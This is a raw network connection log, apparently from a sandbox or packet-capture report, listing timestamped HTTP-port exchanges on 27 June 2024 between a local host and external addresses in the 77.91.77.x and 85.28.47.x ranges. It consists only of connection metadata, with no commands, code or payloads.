Jun 27, 2024 19:27:08.234477043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234524965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234535933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234546900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234548092 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234582901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234656096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234666109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234675884 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234689951 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234714031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234824896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234834909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234844923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234854937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234865904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234870911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234875917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234886885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234888077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.234905005 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.234920979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.235055923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.235065937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.235074997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.235088110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.235097885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.235099077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.235122919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.235138893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.262301922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.262312889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.262322903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.262397051 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.262418985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.262429953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.262440920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.262454033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.262461901 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.262479067 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.262506008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.302046061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302067995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302078962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302145004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.302181005 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.302191973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302202940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302212000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302237988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302239895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.302258968 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.302280903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.302469969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302514076 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:08.302928925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 27, 2024 19:27:08.302999020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:27:09.026326895 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.026592970 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.031589031 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:09.031605959 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:09.031687021 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.032165051 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.032165051 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.037061930 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:09.041512966 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:27:09.046324968 CEST	80	49723	85.28.47.4	192.168.2.5
Jun 27, 2024 19:27:09.049757004 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:27:09.049896955 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:27:09.054824114 CEST	80	49723	85.28.47.4	192.168.2.5
Jun 27, 2024 19:27:09.682205915 CEST	80	49723	85.28.47.4	192.168.2.5
Jun 27, 2024 19:27:09.682384968 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:27:09.748622894 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:09.748704910 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.853718996 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.853977919 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.860388994 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:09.861437082 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:09.861553907 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.861639977 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.861639977 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:09.866460085 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:10.630116940 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:10.631704092 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.647461891 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.652282000 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:10.870505095 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:10.870631933 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.978789091 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.979177952 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.984237909 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:10.984251976 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:10.984328032 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.984333992 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.984977007 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:10.989839077 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:11.432106018 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:27:11.716361046 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:11.716445923 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:11.717170954 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:11.721935034 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:11.938879013 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:11.939007044 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.041281939 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.041563988 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.046495914 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:12.046513081 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:12.046583891 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.046602011 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.046842098 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.051708937 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:12.732758999 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:12.735778093 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.736279011 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:12.741054058 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:12.952466011 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:12.952595949 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.056822062 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.056996107 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.062082052 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:13.062128067 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:13.062150002 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.062196970 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.062283993 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.067066908 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:13.768039942 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:13.768115997 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.768825054 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:13.773911953 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:13.995023966 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:13.995088100 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.106086016 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.106364012 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.112222910 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:14.112309933 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.112400055 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:14.112405062 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.112485886 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.118025064 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:14.837445021 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:14.837595940 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.840792894 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:14.845552921 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:15.061887980 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:15.062103033 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.166791916 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.167319059 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.172005892 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:15.172110081 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.172350883 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:15.172410011 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.175781965 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.180929899 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:15.877741098 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:15.877815008 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.878559113 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:15.883363008 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:16.102689981 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:16.102864981 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.213089943 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.213419914 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.218312025 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:16.218333960 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:16.218385935 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.218413115 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.218617916 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.223856926 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:16.944653988 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:16.944794893 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.952488899 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:16.957360983 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:17.179075003 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:17.179182053 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.291291952 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.291699886 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.296535969 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:17.296555042 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:17.296647072 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.296689034 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.296999931 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.301825047 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:17.985933065 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:17.986078978 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.986938953 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:17.993665934 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:18.202666998 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:18.202733994 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:18.306869984 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:18.307197094 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:18.312069893 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:18.312155962 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:18.312170982 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:18.312225103 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:18.312335968 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:18.317089081 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:18.999058962 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:18.999196053 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.000060081 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.006081104 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:19.216128111 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:19.216268063 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.322977066 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.323349953 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.328322887 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:19.328347921 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:19.328413010 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.328455925 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.328732014 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:19.333729029 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:20.049719095 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:20.049776077 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.050472021 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.055181980 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:20.277555943 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:20.277669907 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.384855986 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.385206938 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.389902115 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:20.389972925 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.390068054 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:20.390260935 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.390419960 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:20.395229101 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:21.076488972 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:21.076638937 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.077394009 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.082261086 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:21.294205904 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:21.294334888 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.400619030 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.400891066 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.405778885 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:21.405824900 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:21.405898094 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.405919075 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.406060934 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:21.410873890 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:22.110302925 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:22.110383034 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.111063004 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.116027117 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:22.333688974 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:22.333761930 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.447299957 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.447593927 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.452694893 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:22.452812910 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.452997923 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.453223944 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:22.453279018 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:22.457897902 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:23.158173084 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:23.158286095 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.160768032 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.165983915 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:23.386065006 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:23.386203051 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.494255066 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.494615078 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.499609947 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:23.499676943 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.499814034 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.500063896 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:23.500163078 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:23.505213022 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:24.228189945 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:24.228266001 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.232640982 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.237443924 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:24.456100941 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:24.456279039 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.572561979 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.572876930 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.579706907 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:24.579814911 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.579843044 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:24.579886913 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.580028057 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:24.586719990 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:25.400549889 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:25.401793003 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.402393103 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.407932043 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:25.620678902 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:25.620784044 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.728635073 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.728977919 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.734899044 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:25.734992027 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.735094070 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:25.735146999 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.735191107 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:25.740041971 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:26.460971117 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:26.461055994 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.461807966 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.466547012 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:26.689989090 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:26.690088034 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.791215897 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.791610956 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.796209097 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:26.796272993 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.796365023 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:26.796518087 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.796581030 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:26.801367998 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:27.483588934 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:27.483690023 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.484265089 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.488979101 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:27.715418100 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:27.715594053 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.822422981 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.822772980 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.827544928 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:27.827610016 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.827728033 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:27.827795982 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.827918053 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:27.834434032 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:28.542422056 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:28.542494059 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:28.543140888 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:28.548557043 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:28.768691063 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:28.768791914 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:28.885513067 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:28.885910034 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:28.890705109 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:28.890809059 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:28.890950918 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:28.890955925 CEST	49742	80	192.168.2.5	77.91.77.82
